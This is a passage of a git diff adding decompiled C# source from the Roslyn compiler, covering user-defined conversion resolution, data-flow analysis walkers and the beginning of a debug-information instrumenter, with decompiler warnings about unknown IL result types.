source, typeSymbol3, ref useSiteInfo); + Conversion targetConversion2 = EncompassingExplicitConversion(typeSymbol4, target, ref useSiteInfo); + u.Add(UserDefinedConversionAnalysis.Lifted(constrainedToTypeOpt, current2, sourceConversion2, targetConversion2, typeSymbol3, typeSymbol4)); + continue; + } + if (target.IsNullableType() && typeSymbol2.IsValidNullableTypeArgument()) + { + typeSymbol2 = MakeNullableType(typeSymbol2); + targetConversion = EncompassingExplicitConversion(typeSymbol2, target, ref useSiteInfo); + } + if ((object)source != null && source.IsNullableType() && typeSymbol.IsValidNullableTypeArgument()) + { + typeSymbol = MakeNullableType(typeSymbol); + sourceConversion = EncompassingExplicitConversion(typeSymbol, source, ref useSiteInfo); + } + u.Add(UserDefinedConversionAnalysis.Normal(constrainedToTypeOpt, current2, sourceConversion, targetConversion, typeSymbol, typeSymbol2)); + } + instance.Free(); + } + + private TypeSymbol MostSpecificSourceTypeForExplicitUserDefinedConversion(ImmutableArray u, BoundExpression sourceExpression, TypeSymbol source, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_00bb: Unknown result type (might be due to invalid IL or missing references) + //IL_00c0: Unknown result type (might be due to invalid IL or missing references) + //IL_00ad: Unknown result type (might be due to invalid IL or missing references) + //IL_00b2: Unknown result type (might be due to invalid IL or missing references) + if ((object)source != null) + { + if (ImmutableArrayExtensions.Any(u, (Func)((UserDefinedConversionAnalysis conv, TypeSymbol right) => TypeSymbol.Equals(conv.FromType, right, (TypeCompareKind)0)), source)) + { + return source; + } + CompoundUseSiteInfo inLambdaUseSiteInfo = useSiteInfo; + Func func = (UserDefinedConversionAnalysis conv) => IsEncompassedBy(sourceExpression, source, conv.FromType, ref inLambdaUseSiteInfo); + if (u.Any(func)) + { + TypeSymbol result = MostEncompassedType(u, func, (UserDefinedConversionAnalysis conv) => conv.FromType, ref inLambdaUseSiteInfo); + useSiteInfo = inLambdaUseSiteInfo; + return result; + } + useSiteInfo = inLambdaUseSiteInfo; + } + return MostEncompassingType(u, (UserDefinedConversionAnalysis conv) => conv.FromType, ref useSiteInfo); + } + + private TypeSymbol MostSpecificTargetTypeForExplicitUserDefinedConversion(ImmutableArray u, TypeSymbol target, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_00a6: Unknown result type (might be due to invalid IL or missing references) + //IL_00ab: Unknown result type (might be due to invalid IL or missing references) + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + //IL_009e: Unknown result type (might be due to invalid IL or missing references) + if (ImmutableArrayExtensions.Any(u, (Func)((UserDefinedConversionAnalysis conv, TypeSymbol right) => TypeSymbol.Equals(conv.ToType, right, (TypeCompareKind)0)), target)) + { + return target; + } + CompoundUseSiteInfo inLambdaUseSiteInfo = useSiteInfo; + Func func = (UserDefinedConversionAnalysis conv) => IsEncompassedBy(conv.ToType, target, ref inLambdaUseSiteInfo); + if (u.Any(func)) + { + TypeSymbol result = MostEncompassingType(u, func, (UserDefinedConversionAnalysis conv) => conv.ToType, ref inLambdaUseSiteInfo); + useSiteInfo = inLambdaUseSiteInfo; + return result; + } + useSiteInfo = inLambdaUseSiteInfo; + return MostEncompassedType(u, (UserDefinedConversionAnalysis conv) => conv.ToType, ref useSiteInfo); + } + + private Conversion EncompassingExplicitConversion(BoundExpression expr, TypeSymbol a, TypeSymbol b, ref CompoundUseSiteInfo useSiteInfo) + { + Conversion result = ClassifyStandardConversion(expr, a, b, ref useSiteInfo); + if (!result.IsEnumeration) + { + return result; + } + return Conversion.NoConversion; + } + + private Conversion EncompassingExplicitConversion(TypeSymbol a, TypeSymbol b, ref CompoundUseSiteInfo useSiteInfo) + { + return EncompassingExplicitConversion(null, a, b, ref useSiteInfo); + } + + private UserDefinedConversionResult AnalyzeImplicitUserDefinedConversions(BoundExpression sourceExpression, TypeSymbol source, TypeSymbol target, ref CompoundUseSiteInfo useSiteInfo) + { + ArrayBuilder<(NamedTypeSymbol, TypeParameterSymbol)> instance = ArrayBuilder<(NamedTypeSymbol, TypeParameterSymbol)>.GetInstance(); + ComputeUserDefinedImplicitConversionTypeSet(source, target, instance, ref useSiteInfo); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + ComputeApplicableUserDefinedImplicitConversionSet(sourceExpression, source, target, instance, instance2, ref useSiteInfo); + instance.Free(); + ImmutableArray immutableArray = instance2.ToImmutableAndFree(); + if (immutableArray.Length == 0) + { + return UserDefinedConversionResult.NoApplicableOperators(immutableArray); + } + TypeSymbol typeSymbol = MostSpecificSourceTypeForImplicitUserDefinedConversion(immutableArray, source, ref useSiteInfo); + if ((object)typeSymbol == null) + { + return UserDefinedConversionResult.NoBestSourceType(immutableArray); + } + TypeSymbol typeSymbol2 = MostSpecificTargetTypeForImplicitUserDefinedConversion(immutableArray, target, ref useSiteInfo); + if ((object)typeSymbol2 == null) + { + return UserDefinedConversionResult.NoBestTargetType(immutableArray); + } + int? num = MostSpecificConversionOperator(typeSymbol, typeSymbol2, immutableArray); + if (!num.HasValue) + { + return UserDefinedConversionResult.Ambiguous(immutableArray); + } + return UserDefinedConversionResult.Valid(immutableArray, num.Value); + } + + private static void ComputeUserDefinedImplicitConversionTypeSet(TypeSymbol s, TypeSymbol t, ArrayBuilder<(NamedTypeSymbol ParticipatingType, TypeParameterSymbol ConstrainedToTypeOpt)> d, ref CompoundUseSiteInfo useSiteInfo) + { + AddTypesParticipatingInUserDefinedConversion(d, s, includeBaseTypes: true, ref useSiteInfo); + AddTypesParticipatingInUserDefinedConversion(d, t, includeBaseTypes: false, ref useSiteInfo); + } + + private void ComputeApplicableUserDefinedImplicitConversionSet(BoundExpression sourceExpression, TypeSymbol source, TypeSymbol target, ArrayBuilder<(NamedTypeSymbol ParticipatingType, TypeParameterSymbol ConstrainedToTypeOpt)> d, ArrayBuilder u, ref CompoundUseSiteInfo useSiteInfo, bool allowAnyTarget = false) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + if (((object)source != null && source.IsInterfaceType()) || ((object)target != null && target.IsInterfaceType())) + { + return; + } + bool flag = false; + Enumerator<(NamedTypeSymbol, TypeParameterSymbol)> enumerator = d.GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol item = enumerator.Current.Item1; + if (item.IsInterface) + { + flag = true; + } + else + { + addCandidatesFromType(null, item, sourceExpression, source, target, u, ref useSiteInfo, allowAnyTarget); + } + } + if (!(u.Count == 0 && flag)) + { + return; + } + enumerator = d.GetEnumerator(); + while (enumerator.MoveNext()) + { + var (namedTypeSymbol, constrainedToTypeOpt) = enumerator.Current; + if (namedTypeSymbol.IsInterface) + { + addCandidatesFromType(constrainedToTypeOpt, namedTypeSymbol, sourceExpression, source, target, u, ref useSiteInfo, allowAnyTarget); + } + } + void addCandidatesFromType(TypeParameterSymbol constrainedToTypeOpt2, NamedTypeSymbol declaringType, BoundExpression aExpr, TypeSymbol typeSymbol2, TypeSymbol typeSymbol3, ArrayBuilder val, ref CompoundUseSiteInfo useSiteInfo2, bool flag2) + { + ImmutableArray.Enumerator enumerator2 = declaringType.GetOperators("op_Implicit").GetEnumerator(); + while (enumerator2.MoveNext()) + { + MethodSymbol current = enumerator2.Current; + if (!current.ReturnsVoid && current.ParameterCount == 1) + { + TypeSymbol parameterType = current.GetParameterType(0); + TypeSymbol typeSymbol = current.ReturnType; + Conversion sourceConversion = EncompassingImplicitConversion(aExpr, typeSymbol2, parameterType, ref useSiteInfo2); + Conversion targetConversion = (flag2 ? Conversion.Identity : EncompassingImplicitConversion(typeSymbol, typeSymbol3, ref useSiteInfo2)); + if (sourceConversion.Exists && targetConversion.Exists) + { + if ((object)typeSymbol3 != null && typeSymbol3.IsNullableType() && typeSymbol.IsValidNullableTypeArgument()) + { + typeSymbol = MakeNullableType(typeSymbol); + targetConversion = (flag2 ? Conversion.Identity : EncompassingImplicitConversion(typeSymbol, typeSymbol3, ref useSiteInfo2)); + } + val.Add(UserDefinedConversionAnalysis.Normal(constrainedToTypeOpt2, current, sourceConversion, targetConversion, parameterType, typeSymbol)); + } + else if ((object)typeSymbol2 != null && typeSymbol2.IsNullableType() && parameterType.IsValidNullableTypeArgument() && (flag2 || typeSymbol3.CanBeAssignedNull())) + { + TypeSymbol typeSymbol4 = MakeNullableType(parameterType); + TypeSymbol typeSymbol5 = (typeSymbol.IsValidNullableTypeArgument() ? MakeNullableType(typeSymbol) : typeSymbol); + Conversion sourceConversion2 = EncompassingImplicitConversion(aExpr, typeSymbol2, typeSymbol4, ref useSiteInfo2); + Conversion targetConversion2 = ((!flag2) ? EncompassingImplicitConversion(typeSymbol5, typeSymbol3, ref useSiteInfo2) : Conversion.Identity); + if (sourceConversion2.Exists && targetConversion2.Exists) + { + val.Add(UserDefinedConversionAnalysis.Lifted(constrainedToTypeOpt2, current, sourceConversion2, targetConversion2, typeSymbol4, typeSymbol5)); + } + } + } + } + } + } + + private TypeSymbol MostSpecificSourceTypeForImplicitUserDefinedConversion(ImmutableArray u, TypeSymbol source, ref CompoundUseSiteInfo useSiteInfo) + { + if ((object)source != null && ImmutableArrayExtensions.Any(u, (Func)((UserDefinedConversionAnalysis conv, TypeSymbol right) => TypeSymbol.Equals(conv.FromType, right, (TypeCompareKind)0)), source)) + { + return source; + } + return MostEncompassedType(u, (UserDefinedConversionAnalysis conv) => conv.FromType, ref useSiteInfo); + } + + private TypeSymbol MostSpecificTargetTypeForImplicitUserDefinedConversion(ImmutableArray u, TypeSymbol target, ref CompoundUseSiteInfo useSiteInfo) + { + if (ImmutableArrayExtensions.Any(u, (Func)((UserDefinedConversionAnalysis conv, TypeSymbol right) => TypeSymbol.Equals(conv.ToType, right, (TypeCompareKind)0)), target)) + { + return target; + } + return MostEncompassingType(u, (UserDefinedConversionAnalysis conv) => conv.ToType, ref useSiteInfo); + } + + private static int LiftingCount(UserDefinedConversionAnalysis conv) + { + int num = 0; + if (!TypeSymbol.Equals(conv.FromType, conv.Operator.GetParameterType(0), (TypeCompareKind)0)) + { + num++; + } + if (!TypeSymbol.Equals(conv.ToType, conv.Operator.ReturnType, (TypeCompareKind)0)) + { + num++; + } + return num; + } + + private static int? MostSpecificConversionOperator(TypeSymbol sx, TypeSymbol tx, ImmutableArray u) + { + return MostSpecificConversionOperator((UserDefinedConversionAnalysis conv) => TypeSymbol.Equals(conv.FromType, sx, (TypeCompareKind)0) && TypeSymbol.Equals(conv.ToType, tx, (TypeCompareKind)0), u); + } + + private static int? MostSpecificConversionOperator(Func constraint, ImmutableArray u) + { + BestIndex bestIndex = UniqueIndex(u, (UserDefinedConversionAnalysis conv) => constraint(conv) && LiftingCount(conv) == 0); + if (bestIndex.Kind == BestIndexKind.Best) + { + return bestIndex.Best; + } + if (bestIndex.Kind == BestIndexKind.Ambiguous) + { + return null; + } + BestIndex bestIndex2 = UniqueIndex(u, (UserDefinedConversionAnalysis conv) => constraint(conv) && LiftingCount(conv) == 1); + if (bestIndex2.Kind == BestIndexKind.Best) + { + return bestIndex2.Best; + } + if (bestIndex2.Kind == BestIndexKind.Ambiguous) + { + return null; + } + BestIndex bestIndex3 = UniqueIndex(u, (UserDefinedConversionAnalysis conv) => constraint(conv) && LiftingCount(conv) == 2); + if (bestIndex3.Kind == BestIndexKind.Best) + { + return bestIndex3.Best; + } + _ = bestIndex3.Kind; + _ = 2; + return null; + } + + private static BestIndex UniqueIndex(ImmutableArray items, Func predicate) + { + if (items.IsEmpty) + { + return BestIndex.None(); + } + int? num = null; + for (int i = 0; i < items.Length; i++) + { + if (predicate(items[i])) + { + if (num.HasValue) + { + return BestIndex.IsAmbiguous(num.Value, i); + } + num = i; + } + } + if (num.HasValue) + { + return BestIndex.HasBest(num.Value); + } + return BestIndex.None(); + } + + private bool IsEncompassedBy(BoundExpression aExpr, TypeSymbol a, TypeSymbol b, ref CompoundUseSiteInfo useSiteInfo) + { + return EncompassingImplicitConversion(aExpr, a, b, ref useSiteInfo).Exists; + } + + private bool IsEncompassedBy(TypeSymbol a, TypeSymbol b, ref CompoundUseSiteInfo useSiteInfo) + { + return IsEncompassedBy(null, a, b, ref useSiteInfo); + } + + private Conversion EncompassingImplicitConversion(BoundExpression aExpr, TypeSymbol a, TypeSymbol b, ref CompoundUseSiteInfo useSiteInfo) + { + Conversion result = ClassifyStandardImplicitConversion(aExpr, a, b, ref useSiteInfo); + if (!IsEncompassingImplicitConversionKind(result.Kind)) + { + return Conversion.NoConversion; + } + return result; + } + + private Conversion EncompassingImplicitConversion(TypeSymbol a, TypeSymbol b, ref CompoundUseSiteInfo useSiteInfo) + { + return EncompassingImplicitConversion(null, a, b, ref useSiteInfo); + } + + private static bool IsEncompassingImplicitConversionKind(ConversionKind kind) + { + switch (kind) + { + case ConversionKind.NoConversion: + case ConversionKind.ImplicitEnumeration: + case ConversionKind.ExplicitTupleLiteral: + case ConversionKind.ExplicitTuple: + case ConversionKind.ImplicitDynamic: + case ConversionKind.ExplicitDynamic: + case ConversionKind.ImplicitUserDefined: + case ConversionKind.AnonymousFunction: + case ConversionKind.MethodGroup: + case ConversionKind.FunctionType: + case ConversionKind.ExplicitNumeric: + case ConversionKind.ExplicitEnumeration: + case ConversionKind.ExplicitNullable: + case ConversionKind.ExplicitReference: + case ConversionKind.Unboxing: + case ConversionKind.ExplicitUserDefined: + case ConversionKind.ExplicitPointerToPointer: + case ConversionKind.ExplicitIntegerToPointer: + case ConversionKind.ExplicitPointerToInteger: + case ConversionKind.IntPtr: + case ConversionKind.InterpolatedString: + case ConversionKind.SwitchExpression: + case ConversionKind.ConditionalExpression: + case ConversionKind.StackAllocToPointerType: + case ConversionKind.StackAllocToSpanType: + case ConversionKind.InterpolatedStringHandler: + return false; + case ConversionKind.Identity: + case ConversionKind.ImplicitNumeric: + case ConversionKind.ImplicitThrow: + case ConversionKind.ImplicitTupleLiteral: + case ConversionKind.ImplicitTuple: + case ConversionKind.ImplicitNullable: + case ConversionKind.NullLiteral: + case ConversionKind.ImplicitReference: + case ConversionKind.Boxing: + case ConversionKind.ImplicitPointerToVoid: + case ConversionKind.ImplicitNullToPointer: + case ConversionKind.ImplicitPointer: + case ConversionKind.ImplicitConstant: + case ConversionKind.DefaultLiteral: + case ConversionKind.InlineArray: + return true; + default: + throw ExceptionUtilities.UnexpectedValue((object)kind); + } + } + + private TypeSymbol MostEncompassedType(ImmutableArray items, Func extract, ref CompoundUseSiteInfo useSiteInfo) + { + return MostEncompassedType(items, (T x) => true, extract, ref useSiteInfo); + } + + private TypeSymbol MostEncompassedType(ImmutableArray items, Func valid, Func extract, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo inLambdaUseSiteInfo = useSiteInfo; + int? num = UniqueBestValidIndex(items, valid, delegate(T left, T right) + { + TypeSymbol typeSymbol = extract(left); + TypeSymbol typeSymbol2 = extract(right); + if (TypeSymbol.Equals(typeSymbol, typeSymbol2, (TypeCompareKind)0)) + { + return BetterResult.Equal; + } + bool flag = IsEncompassedBy(typeSymbol, typeSymbol2, ref inLambdaUseSiteInfo); + bool flag2 = IsEncompassedBy(typeSymbol2, typeSymbol, ref inLambdaUseSiteInfo); + if (flag == flag2) + { + return BetterResult.Neither; + } + return (!flag) ? BetterResult.Right : BetterResult.Left; + }); + useSiteInfo = inLambdaUseSiteInfo; + if (num.HasValue) + { + return extract(items[num.Value]); + } + return null; + } + + private TypeSymbol MostEncompassingType(ImmutableArray items, Func extract, ref CompoundUseSiteInfo useSiteInfo) + { + return MostEncompassingType(items, (T x) => true, extract, ref useSiteInfo); + } + + private TypeSymbol MostEncompassingType(ImmutableArray items, Func valid, Func extract, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo inLambdaUseSiteInfo = useSiteInfo; + int? num = UniqueBestValidIndex(items, valid, delegate(T left, T right) + { + TypeSymbol typeSymbol = extract(left); + TypeSymbol typeSymbol2 = extract(right); + if (TypeSymbol.Equals(typeSymbol, typeSymbol2, (TypeCompareKind)0)) + { + return BetterResult.Equal; + } + bool flag = IsEncompassedBy(typeSymbol2, typeSymbol, ref inLambdaUseSiteInfo); + bool flag2 = IsEncompassedBy(typeSymbol, typeSymbol2, ref inLambdaUseSiteInfo); + if (flag == flag2) + { + return BetterResult.Neither; + } + return (!flag) ? BetterResult.Right : BetterResult.Left; + }); + useSiteInfo = inLambdaUseSiteInfo; + if (num.HasValue) + { + return extract(items[num.Value]); + } + return null; + } + + private static int? UniqueBestValidIndex(ImmutableArray items, Func valid, Func better) + { + if (items.IsEmpty) + { + return null; + } + int? result = null; + T arg = default(T); + for (int i = 0; i < items.Length; i++) + { + T val = items[i]; + if (!valid(val)) + { + continue; + } + if (!result.HasValue) + { + result = i; + arg = val; + continue; + } + switch (better(arg, val)) + { + case BetterResult.Neither: + result = null; + arg = default(T); + break; + case BetterResult.Right: + result = i; + arg = val; + break; + } + } + if (!result.HasValue) + { + return null; + } + for (int j = 0; j < result.Value; j++) + { + T val2 = items[j]; + if (valid(val2)) + { + BetterResult betterResult = better(arg, val2); + if (betterResult != BetterResult.Left && betterResult != BetterResult.Equal) + { + return null; + } + } + } + return result; + } + + private NamedTypeSymbol MakeNullableType(TypeSymbol type) + { + return corLibrary.GetDeclaredSpecialType((SpecialType)32).Construct(type); + } + + protected UserDefinedConversionResult AnalyzeImplicitUserDefinedConversionForV6SwitchGoverningType(TypeSymbol source, ref CompoundUseSiteInfo useSiteInfo) + { + ArrayBuilder<(NamedTypeSymbol, TypeParameterSymbol)> instance = ArrayBuilder<(NamedTypeSymbol, TypeParameterSymbol)>.GetInstance(); + ComputeUserDefinedImplicitConversionTypeSet(source, null, instance, ref useSiteInfo); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + ComputeApplicableUserDefinedImplicitConversionSet(null, source, null, instance, instance2, ref useSiteInfo, allowAnyTarget: true); + instance.Free(); + ImmutableArray immutableArray = instance2.ToImmutableAndFree(); + int? num = MostSpecificConversionOperator((UserDefinedConversionAnalysis conv) => conv.ToType.IsValidV6SwitchGoverningType(isTargetTypeOfUserDefinedOp: true), immutableArray); + if (num.HasValue) + { + return UserDefinedConversionResult.Valid(immutableArray, num.Value); + } + return UserDefinedConversionResult.NoApplicableOperators(immutableArray); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DataFlowsInWalker.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DataFlowsInWalker.cs new file mode 100644 index 0000000..67cde3f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DataFlowsInWalker.cs @@ -0,0 +1,104 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class DataFlowsInWalker : AbstractRegionDataFlowPass +{ + private readonly HashSet _dataFlowsIn = new HashSet(); + + private DataFlowsInWalker(CSharpCompilation compilation, Symbol member, BoundNode node, BoundNode firstInRegion, BoundNode lastInRegion, HashSet unassignedVariables, HashSet unassignedVariableAddressOfSyntaxes) + : base(compilation, member, node, firstInRegion, lastInRegion, unassignedVariables, unassignedVariableAddressOfSyntaxes) + { + } + + internal static HashSet Analyze(CSharpCompilation compilation, Symbol member, BoundNode node, BoundNode firstInRegion, BoundNode lastInRegion, HashSet unassignedVariables, HashSet unassignedVariableAddressOfSyntaxes, out bool? succeeded) + { + DataFlowsInWalker dataFlowsInWalker = new DataFlowsInWalker(compilation, member, node, firstInRegion, lastInRegion, unassignedVariables, unassignedVariableAddressOfSyntaxes); + try + { + bool badRegion = false; + HashSet hashSet = dataFlowsInWalker.Analyze(ref badRegion); + succeeded = !badRegion; + return badRegion ? new HashSet() : hashSet; + } + finally + { + dataFlowsInWalker.Free(); + } + } + + private HashSet Analyze(ref bool badRegion) + { + Analyze(ref badRegion, null); + return _dataFlowsIn; + } + + protected override LocalState TopState() + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + return new LocalState(BitVector.Empty); + } + + private LocalState ResetState(LocalState state) + { + bool num = !state.Reachable; + state = TopState(); + if (num) + { + state.Assign(0); + } + return state; + } + + protected override void EnterRegion() + { + State = ResetState(State); + _dataFlowsIn.Clear(); + base.EnterRegion(); + } + + protected override void NoteBranch(PendingBranch pending, BoundNode gotoStmt, BoundStatement targetStmt) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + if (!gotoStmt.WasCompilerGenerated && !targetStmt.WasCompilerGenerated && !RegionContains(gotoStmt.Syntax.Span) && RegionContains(targetStmt.Syntax.Span)) + { + pending.State = ResetState(pending.State); + } + base.NoteBranch(pending, gotoStmt, targetStmt); + } + + public override BoundNode VisitRangeVariable(BoundRangeVariable node) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + if (base.IsInside && !RegionContains(node.RangeVariableSymbol.GetFirstLocation().SourceSpan)) + { + _dataFlowsIn.Add(node.RangeVariableSymbol); + } + return null; + } + + protected override void ReportUnassigned(Symbol symbol, SyntaxNode node, int slot, bool skipIfUseBeforeDeclaration) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Invalid comparison between Unknown and I4 + if (RegionContains(node.Span)) + { + _dataFlowsIn.Add(((int)symbol.Kind == 6) ? GetNonMemberSymbol(slot) : symbol); + } + base.ReportUnassigned(symbol, node, slot, skipIfUseBeforeDeclaration); + } + + protected override void ReportUnassignedOutParameter(ParameterSymbol parameter, SyntaxNode node, Location location) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + if (node != null && node is ReturnStatementSyntax && RegionContains(node.Span)) + { + _dataFlowsIn.Add(parameter); + } + base.ReportUnassignedOutParameter(parameter, node, location); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DataFlowsOutWalker.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DataFlowsOutWalker.cs new file mode 100644 index 0000000..254d924 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DataFlowsOutWalker.cs @@ -0,0 +1,141 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class DataFlowsOutWalker : AbstractRegionDataFlowPass +{ + private readonly ImmutableArray _dataFlowsIn; + + private readonly HashSet _dataFlowsOut = new HashSet(); + + private DataFlowsOutWalker(CSharpCompilation compilation, Symbol member, BoundNode node, BoundNode firstInRegion, BoundNode lastInRegion, HashSet unassignedVariables, ImmutableArray dataFlowsIn) + : base(compilation, member, node, firstInRegion, lastInRegion, unassignedVariables, null, trackUnassignments: true) + { + _dataFlowsIn = dataFlowsIn; + } + + internal static HashSet Analyze(CSharpCompilation compilation, Symbol member, BoundNode node, BoundNode firstInRegion, BoundNode lastInRegion, HashSet unassignedVariables, ImmutableArray dataFlowsIn) + { + DataFlowsOutWalker dataFlowsOutWalker = new DataFlowsOutWalker(compilation, member, node, firstInRegion, lastInRegion, unassignedVariables, dataFlowsIn); + try + { + bool badRegion = false; + HashSet hashSet = dataFlowsOutWalker.Analyze(ref badRegion); + return badRegion ? new HashSet() : hashSet; + } + finally + { + dataFlowsOutWalker.Free(); + } + } + + private HashSet Analyze(ref bool badRegion) + { + Analyze(ref badRegion, null); + return _dataFlowsOut; + } + + protected override ImmutableArray Scan(ref bool badRegion) + { + _dataFlowsOut.Clear(); + return base.Scan(ref badRegion); + } + + protected override void EnterRegion() + { + ImmutableArray.Enumerator enumerator = _dataFlowsIn.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol symbol = enumerator.Current.GetSymbol(); + int orCreateSlot = GetOrCreateSlot(symbol); + if (orCreateSlot > 0 && !State.IsAssigned(orCreateSlot)) + { + _dataFlowsOut.Add(symbol); + } + } + base.EnterRegion(); + } + + protected override void NoteWrite(Symbol variable, BoundExpression value, bool read) + { + if (State.Reachable && base.IsInside) + { + ParameterSymbol parameterSymbol = variable as ParameterSymbol; + if (FlowsOut(parameterSymbol)) + { + _dataFlowsOut.Add(parameterSymbol); + } + } + base.NoteWrite(variable, value, read); + } + + protected override void AssignImpl(BoundNode node, BoundExpression value, bool isRef, bool written, bool read) + { + if (base.IsInside) + { + written = false; + if (State.Reachable) + { + ParameterSymbol parameterSymbol = Param(node); + if (FlowsOut(parameterSymbol)) + { + _dataFlowsOut.Add(parameterSymbol); + } + } + } + base.AssignImpl(node, value, isRef, written, read); + } + + private bool FlowsOut(ParameterSymbol param) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + if ((object)param != null) + { + if ((int)param.RefKind == 0 || param.IsImplicitlyDeclared || RegionContains(param.GetFirstLocation().SourceSpan)) + { + return param.ContainingSymbol is SynthesizedPrimaryConstructor; + } + return true; + } + return false; + } + + private ParameterSymbol Param(BoundNode node) + { + return node.Kind switch + { + BoundKind.Parameter => ((BoundParameter)node).ParameterSymbol, + BoundKind.ThisReference => base.MethodThisParameter, + _ => null, + }; + } + + public override BoundNode VisitQueryClause(BoundQueryClause node) + { + return base.VisitQueryClause(node); + } + + protected override void ReportUnassigned(Symbol symbol, SyntaxNode node, int slot, bool skipIfUseBeforeDeclaration) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Invalid comparison between Unknown and I4 + if (!base.IsInside) + { + _dataFlowsOut.Add(((int)symbol.Kind == 6) ? GetNonMemberSymbol(slot) : symbol); + } + base.ReportUnassigned(symbol, node, slot, skipIfUseBeforeDeclaration); + } + + protected override void ReportUnassignedOutParameter(ParameterSymbol parameter, SyntaxNode node, Location location) + { + if (!_dataFlowsOut.Contains(parameter) && (node == null || node is ReturnStatementSyntax)) + { + _dataFlowsOut.Add(parameter); + } + base.ReportUnassignedOutParameter(parameter, node, location); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DebugInfoInjector.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DebugInfoInjector.cs new file mode 100644 index 0000000..c6be250 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DebugInfoInjector.cs @@ -0,0 +1,788 @@ +using System; +using System.Collections.Immutable; +using System.Linq; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.Shared.Collections; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class DebugInfoInjector : CompoundInstrumenter +{ + private static readonly DebugInfoInjector s_singleton = new DebugInfoInjector(Instrumenter.NoOp); + + private DebugInfoInjector(Instrumenter previous) + : base(previous) + { + } + + public static DebugInfoInjector Create(Instrumenter previous) + { + if (previous != Instrumenter.NoOp) + { + return new DebugInfoInjector(previous); + } + return s_singleton; + } + + protected override CompoundInstrumenter WithPreviousImpl(Instrumenter previous) + { + return Create(previous); + } + + public override BoundStatement InstrumentNoOpStatement(BoundNoOpStatement original, BoundStatement rewritten) + { + return AddSequencePoint(base.InstrumentNoOpStatement(original, rewritten)); + } + + public override BoundStatement InstrumentBreakStatement(BoundBreakStatement original, BoundStatement rewritten) + { + return AddSequencePoint(base.InstrumentBreakStatement(original, rewritten)); + } + + public override BoundStatement InstrumentContinueStatement(BoundContinueStatement original, BoundStatement rewritten) + { + return AddSequencePoint(base.InstrumentContinueStatement(original, rewritten)); + } + + public override BoundStatement InstrumentExpressionStatement(BoundExpressionStatement original, BoundStatement rewritten) + { + //IL_0181: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_00a9: Unknown result type (might be due to invalid IL or missing references) + //IL_00af: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Unknown result type (might be due to invalid IL or missing references) + //IL_00bf: Unknown result type (might be due to invalid IL or missing references) + //IL_00c4: Unknown result type (might be due to invalid IL or missing references) + //IL_00c9: Unknown result type (might be due to invalid IL or missing references) + //IL_00ce: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_008e: Unknown result type (might be due to invalid IL or missing references) + //IL_0093: Unknown result type (might be due to invalid IL or missing references) + //IL_00a0: Unknown result type (might be due to invalid IL or missing references) + 